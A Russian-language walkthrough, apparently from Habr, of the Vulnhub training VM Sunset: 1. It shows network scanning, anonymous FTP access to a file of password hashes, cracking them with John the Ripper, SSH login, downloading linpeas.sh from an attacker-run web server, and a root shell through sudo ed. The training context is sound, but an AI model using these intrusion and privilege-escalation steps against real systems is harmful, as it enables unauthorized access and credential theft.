Vulnhub. Прохождение Sunset: 1

HackTheBox — популярная площадка среди специалистов информационной безопасности, проводящих тестирование на проникновение. Однако существуют не мене интересные CTF площадки для проверки и тренировки своих навыков, которые подойдут как начинающим, так и опытным пентестерам.
Одной из таких площадок как раз является Vulnhub. Правда, на этом ресурсе выкладывают только виртуальные машины, и там можно найти целые серии виртуальных машин. Сегодня мы поговорим о серии Sunset и рассмотрим первую ВМ (sunset: 1).

7efuuxyvney3hiusbkzmeu4rbpq.jpeg

Сканирование


Начинаем с определения ее IP адреса. Это можно сделать при помощи команды:

netdiscover


firvhnfpsar2gij1tbfjfsukmgu.png

Адресом нашей цели будет 192.168.1.153. Мы узнали адрес, теперь можно запустить nmap. Для сканирования nmap’ом я использую следующую команду:

nmap -sC -sV -oN sunset-1 192.168.1.153


Где sC отвечает за сканирование с использованием скриптов, sV — за определение служб и их версий, и oN — за вывод в файл (чтобы потом не пришлось сканировать заново, если чего вдруг случится).

kr0xq66ztvgsqadap2iddlhlzem.png

Поиск точки входа


Мы видим, что на целевом хосте открыто 2 порта: 21 (FTP) и 22 (SSH). Также у нас есть возможность авторизоваться как анонимный пользователь.

Подключаемся к ftp:

ftp 192.168.1.153


При этом используем логин: anonymous и пароль: anonymous. Командой ls проверяем содержимое папки, видимо кроме файла backup здесь ничего нет. Доступ к backup’у у нас есть, так что стоит в нем покопаться. Скачиваем этот файл командой get.

eodukfni1xj1mvoliorvucchm9q.png

В backup’е мы находим логины и хешированные пароли (в духе CTF).

12wq38zw5rh2b6axt7durmkehyi.png

Вариантов у нас не особо много, видимо стоит попробовать их «крякнуть». Крякать пароли мы будем с помощью нашего друга John’а (John the Ripper или просто John) по словарю rockyou.txt. Для этого я использую следующую команду:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes


И да, найденные хеши я сохранил в отдельном файле hashes. В результате работы Jhon’а, мы получаем пароль cheer14 для пользователя sunset. Результаты работы Джона можно также посмотреть командой show к файлу с хешами.

iabg2n1-mbnwgplaqwlpaguzeqw.png

Получаем доступ пользователя


Теперь у нас есть пароль пользователя, и нам нужно его использовать. На машине был открыт SSH, так давайте попробуем к нему подключиться с имеющимися учетными данными.

ssh sunset@192.168.1.153


p8glwgh3hmd-w9-w3r3_xsy8dtk.png

И вот мы внутри. Осматриваемся с помощью команды ls -la и видим, что мы в домашней директории пользователя и тут же лежит флаг user.txt.

lk0b57oxd33ehpdzqyoe4pk1wnc.png

Повышение привилегий


Теперь нужно получить права суперпользователя. Для этого мы можем использовать linpeas.sh (скрипт для поиска ошибок в конфигурации, логинов и паролей в открытом виде и т.д.), который предлагает возможные векторы атаки для повышения привилегий. Скачать этот скрипт можно на гитхабе.
Для того, чтобы скачать его на целевую машину нужно поднять сервер. Делаем это с помощью питона:

python3 -m http.server 80


tj58zmbeaxwuduefxx6bsyuin-o.png

На целевой машине прописываем

wget http://192.168.1.68/linpeas.sh


6ajsmslwd6jkjy7kru_vqlgzjcs.png

Скрипт успешно скачан. Теперь нужно сделать файл исполняемым, и можно запускать.

chmod +x linpeas.sh
sh linpeas.sh


После выполнения скрипт подсветит красным текстом с желтым фоном возможные векторы атаки

tztvhj2cedc2ntuphajsbv1_g1c.png

Скрипт нам говорит, что мы можем использовать ed справами root’а без использования пароля. Но даже без помощи скрипта мы можем проверить доступные к выполнению команды от имени root, просто написав в консоли

sudo -l


Нам доступен текстовый редактор от имени суперпользователя.

znzjckidt4elzbn-s0uwtz9wkpa.png

Идем на GTFObins, ищем там наш текстовый редактор и выбираем команду для получения шелла.

9zlaf3bvefqbggafm6r4zzpogfa.png

!/bin/sh


И теперь мы получили права root.

siqfsgchmmfuvcpwnhhfoqw99gk.png

Переходим в домашнюю директорию root’а и забираем второй флаг.

ngleihpojhnzs36pswcd3sjp0_y.png

Вот такую, достаточно простую коробочку мы сегодня открыли. Она как раз подходит для начинающих, но спроектирована больше для CTF. На практике такое редко встречается, если вообще встречается.

© Habrahabr.ru